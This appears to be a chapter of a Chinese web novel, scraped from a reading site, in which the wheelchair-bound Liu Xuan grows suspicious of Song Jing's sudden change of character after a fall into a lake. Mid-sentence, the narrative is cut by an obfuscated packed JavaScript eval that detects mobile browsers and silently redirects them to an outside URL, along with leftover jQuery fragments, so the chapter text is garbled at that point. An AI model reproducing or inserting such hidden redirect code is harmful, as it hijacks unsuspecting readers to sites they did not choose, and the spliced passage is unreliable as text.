8.怀疑
    英才院的门生大约有六七百人,从官家子弟到皇室宗亲,分为三个不同的时间段进行授课。

    其中,巳时到未时,为从二品以上的官家子弟与圣上膝下未及冠的皇子,而申时到酉时,为从四品到正三品的官家子弟、皇亲国戚与王公贵族,最后是卯时到辰时,为从六品到正五品的官家子弟。

    是日,将宋夫人送走后,六一盘腿坐在柳悬身旁的棋桌上,总是一阵唉声叹气,又自顾自地发呆。

    柳悬正坐在庭院里晒天阳,手里拿了一本《太白阴经》,偶尔翻上一页。

    “府中可有何消息?”

    在六一又一次捧住脑袋,直直望向他家公子,露出一脸惆怅的表情后,柳悬还是没忍住,向他发问了。

    “夫人来瞧公子时,我偷偷向绵儿姐姐打听了,公子你猜怎么着?”六一突然扒拉住柳悬的轮椅,凑到柳悬跟前,神秘兮兮,用一种惊恐中带有几分震撼的眼神直逼柳悬。

    柳悬的食指轻点六一的额头上,将六一推坐回去,半点没有被他恐吓到的样子:“有话好好说。”

    六一见他家公子不太搭理他,兴致缺缺,果真就乖乖坐了回去,索然无味道:“说是,前几日将军将少将军传至书房,少将军与将军相谈甚欢,将军不止没罚少将军,还......”

    说着,六一故意停顿了一下,余光若有似无地瞟过柳悬。

    柳悬有些无奈,他也不记得六一这个小家伙,是从哪里学来的说话风格,总是一惊一乍,还老喜欢吊旁人的胃口。

    “说话这般磕磕巴巴,往后定不能再让你去听书了。”柳悬向来不会迎合他的小把戏,合上书卷,在六一的脑门上轻敲了一下。

    六一假装“哎哟”一声,捂住脑门,紧接着说:“宋将军让少将军自己想法子讨你开心后,再亲自将你接回去。”

    在柳悬又要敲他脑门前,六一向后缩了一大截,朝柳悬吐了吐舌头,满脸写着“我不服气”四个大字,一说完,就转头跑远了。

    “公子,少将军没被罚,你怎么瞧上去一点也不急呀?!”在旁捣药的轻红也听明白了六一刚说的话。

    轻红想到她家公子那日为了让宋旌落入圈套,也尝尝苦头,冒着险,费了那么大的力气,甚至自己还跟着宋旌一起落了水、遭了罪,结果宋言章跟宋旌不仅相处融洽,关系居然还有所缓和,她就显得比柳悬还要发愁。

    柳悬将书放进椅背上的书兜里,又捋平衣服上的每一块褶皱,正了正衣冠,老神在在道:“我为何要急?”

    “少将军呀!”轻红的情绪激昂,连带着说话时的声调都上扬了几分,“少将军以前明明是那样一个藏不住自己心思与喜恶的人,如今却能见人说人话,见鬼说鬼话。”

    轻红手里“哒哒哒”,急促地敲打起罐里的药材,一颗小小的脑子也跟着一块儿,快速地运转起来,“公子,你不觉得少将军近来很是奇怪吗?”

    “少将军以前最是不服将军”轻红一边回忆过去,一边仔细分析:“当初刚进府那段时间,两人见面不是吵,就是打,现在居然也能坐在一块儿好好说话?那要照这个趋势发展下去......我们不就......公子真的就一点不担心吗?”

    轻红想起他们与柳悬从进将军府以来做过的那些坑害宋旌的事,再想到宋旌与宋言章如果父慈子孝后,万一宋旌哪天脑子一抽抽,就跑去找宋言章控诉他这些年从柳悬这儿遭受的委屈,那......

    “担心又有何用?”柳悬当然能明白轻红未明说的话。

    他其实不在意宋旌会不会把他的本来面目告诉给任何人,因为他有能力让宋旌的话得不到任何人的信任,他也相信不论他是怎样的人,只要他是柳行舟唯一的儿子,宋言章就不可能让他离开将军府。

    末了,柳悬勾起唇角,品尝了一口棋桌上的红茶,双肘轻置在两侧的把手上,笑容和煦,淡然道:“再者,那将军府到底是宋旌的将军府,而我姓柳,不姓宋。”

    “公子。”

    柳悬刚一放下茶杯,飞雪就闪身至他的身后,按常例,唤了他一声。

    “好啦,我该走了。”柳悬揉了揉轻红的发顶,以示安慰,在她欲言又止的表情中轻声提醒道,“待会学博该讲学了。”

    轻红面上虽然仍有些不情愿,但她还是替柳悬收拾好一会儿要用的书册,并一并交给要护送柳悬去兰馨殿的飞雪。

    一路上,青石小径,没什么人打扰。

    柳悬安坐在轮椅上,一边由飞雪推着他慢慢向前走,一边思索起最近的事。

    还记得那日掉进湖里前,宋旌明明是来找柳悬清算恩怨的,就宋旌当时那副要生吞活剥了他、与他不死不休的样子,为什么仅仅只是落了个水,等两人再上岸时,宋旌就完全像是变了个人?

    同一个人,前后不到半个时辰,却像是彻底改头换面了一般,判若两人......这其中到底发生了什么?柳悬想不明白。

    那时,突然的变故与本能的恐惧,让柳悬没有多余的思考时间,更分不出心思去在意、观察宋旌那小子的处境。

    也正是因为柳悬少了那段有关宋旌入水后的关键性记忆,所以他现在才会百思不得其解,甚至会日日因为宋旌差连松送来的那些奇珍异宝或市井小物而烦心。

    “飞雪,你还记得那日宋旌在掉入湖水后,可有何不同寻常之处?”比起苦思冥想,柳悬更倾向于寻找有用的线索,以此来解开心中的疑惑或验证自己的猜想。

    飞雪见柳悬一直在沉思,还以为柳悬在思虑轻红方才说的话,却没想到柳悬会突然提起几日前的事。

    一时没跟上柳悬的思路,缓了会儿,轻红才郑重道:“之前没仔细想过,公子若要问少将军那日有何不同之处,倒还真有一点”

    经柳悬提醒,飞雪还真就想起来了。

    “按常理来说,少将军的水性应当是极好的,公子还记得两年前,少将军与何三公子被迫带你一起去郊外的野湖上游船,你看不惯少将军,故意纵着轮椅向前,将那时正悬在沿上帮何家表妹摘莲蓬的少将军给挤下船去,而少将军几乎是一眨眼的功夫,一个猛子就翻出水面,一跃上船。”

    飞雪一本正经地描述起柳悬当年做过的坏事,将她当年所见的细节毫无掩饰地还原出来,听得柳悬面色一红。

    “我记得那日落水后,少将军本该有所反应,可他就像是失了魂一样,约莫有小一柱香的时辰,一动不动,直直向湖底落去,直到他快要触及湖底的淤泥时,他才忽然挥起双臂”

    待飞雪说完,柳悬的神色也从最初的镇静变得凝重。

    一动不动,失了魂吗?

    柳悬更迷惑了,他想不出有什么法子能当着数人的面,在短时间内,将一个人偷换成另一个人......

    可是......这样离奇的怪事在这个世界上又真是绝无可能的吗?

    柳悬也不敢下定论,只是他觉得那样的念头实在太过于荒唐、可笑,以至于他都忍不住腹诽自己“异想天开”。

    “公子,轻红还是小女孩心性,公子不必将她的话放在心上。”

    方才,飞雪也听出了轻红的话外音,她见柳悬从风斋出来这一路,都在凝眉深思,知道柳悬定是因轻红那句“少将军近来很是奇怪”而烦扰,便破天荒,主动替轻红说了一句私话。

    然而,飞雪这句话虽然猜中了重点,但是猜的又不完全正确。

    要说柳悬仅仅是困扰于轻红说出那句话之后,之前却没有察觉到宋旌的异常?那也是无稽之谈。

    “到此为止,快回去吧。”柳悬没有回应飞雪,他现

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024182|148359||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在的思绪也杂乱得很,宋旌的变化已经困扰他许久了,他不需要毫无意义的安慰,他只想再梳理一下眼前的信息。

    飞雪一直很会拿捏分寸,她见柳悬无心交谈,瞬间就明白她家公子现下不想被人打扰。

    再看前方,花团锦簇间,越来越多的人已经慢慢进入视线。

    辽阔的土地上,一座巍峨的宫殿,拔地而起、高耸入云。

    那是英才院内,众位门生每日必去的地方——兰馨殿。

    在英才院内,有几个不成文的规定:

    每日辰时到午时内,除前往兰馨殿听学的王公贵族与重臣子女,任何人不得随意在院内走动。

    除此以外,其他时辰虽不限制院内众人的活动,但也不得带任何侍女、仆人靠近兰馨殿方圆十里之内,违者,当以大不敬之罪论处。

    飞雪是柳悬的武侍,更是不能靠近兰馨殿的头号人物,在确定柳悬已经进入主殿区后,飞雪也回了风斋。

    “欸,前几日梁学博讲的三世说,你们听懂了没?”

    熙熙攘攘的人群中,总有三两个人会成群结队,一起边走边高谈阔论。

    “聊这真没意思~要我说,你可是礼部尚书的嫡子,就算学不懂,也影响不了你以后平步青云、节节高升。”方才问话的男子身边,一个身着华服锦缎、举止轻佻的纨绔正在嘲笑一个文质彬彬的男生。

    那男生被纨绔一骚,面色微红,竟是低下头,跟着众人一起讪笑起来。

    “要说有意思的事,我这儿倒是听说了一件”在一片嬉笑打闹声中,一个猴精般机灵的小个子,仅仅起了个话头,便如同一块磁石,牢牢吸附住了众人的目光。

    “快!快说来听听,如何有趣?”人群中,有人按捺不住内心的好奇,急切地催促着。

    在那一群人围成的小圈子里,小个子故意卖了个关子,身子往前一探,脸上浮现出一抹神秘莫测的笑意,仿佛要将众人一同拽入那未知的恐惧深渊。

    他刻意压低嗓音,声音中带有一丝不易察觉的颤抖,仿佛自己也被那恐怖的故事所裹挟:“你们没听说吗?英才院的西南角,就那伙客子们所居的栖霞院,近几日夜夜闹鬼,说是,每到夜深人静、月黑风高的三更时分,院内便会浮现出一道诡异的身影……”

    “那身影身高九尺,腹中鼓鼓,脑袋向左侧倾斜,身上穿了一件染满血迹的暗红色长袍,像是来着九幽的亡灵般,脚后跟高高悬离地面,纤细的脖子仿佛被一条无形的锁链给吊住了,挂在双肩上,摇摇欲坠,而且!她在院里飘荡的时候,还会寻人就问......”

    “问什么?”众人几乎异口同声,屏息凝神,生怕错过任何一个字。

    那小个子咽了口唾沫,从细长的喉咙里发出“咕噜”一声,随即,他的声音竟诡异地尖锐起来,仿佛被一股无形的力量所操控,开始模仿起那女鬼阴森凄厉的刺耳语调,悠悠说道:“你见过……我的郎君吗?”

    “啊——”

    一声尖叫划破长空,一个容貌娇气的贵公子脸色苍白如纸,紧捂住打颤的嘴,满眼皆是惊恐与绝望,如同身临其境一般。

    贵公子的表情令小个子很满意,他环视了众人一圈,扬起一抹得意的笑,仿佛刚完成一场惊心动魄的表演。

    “哟~”

    那边,讲故事的小个子才刚收了尾,不知从何处又响起一道声音,言语间带有几分轻蔑与玩味。

    “这不是柳挛躄吗?”

    那个尖酸刻薄的声音在人潮涌动的主殿前,突兀地响起,宛如一把锋利的匕首,划破了片刻的宁静。

    柳悬行至主殿下的石阶时,那贵公子的惊叫声正好将他从烦乱的线头中抽离出来,他一个不留神,轮椅竟失控地向前一冲,不慎撞在前方的台阶上,发出一声沉闷的声响。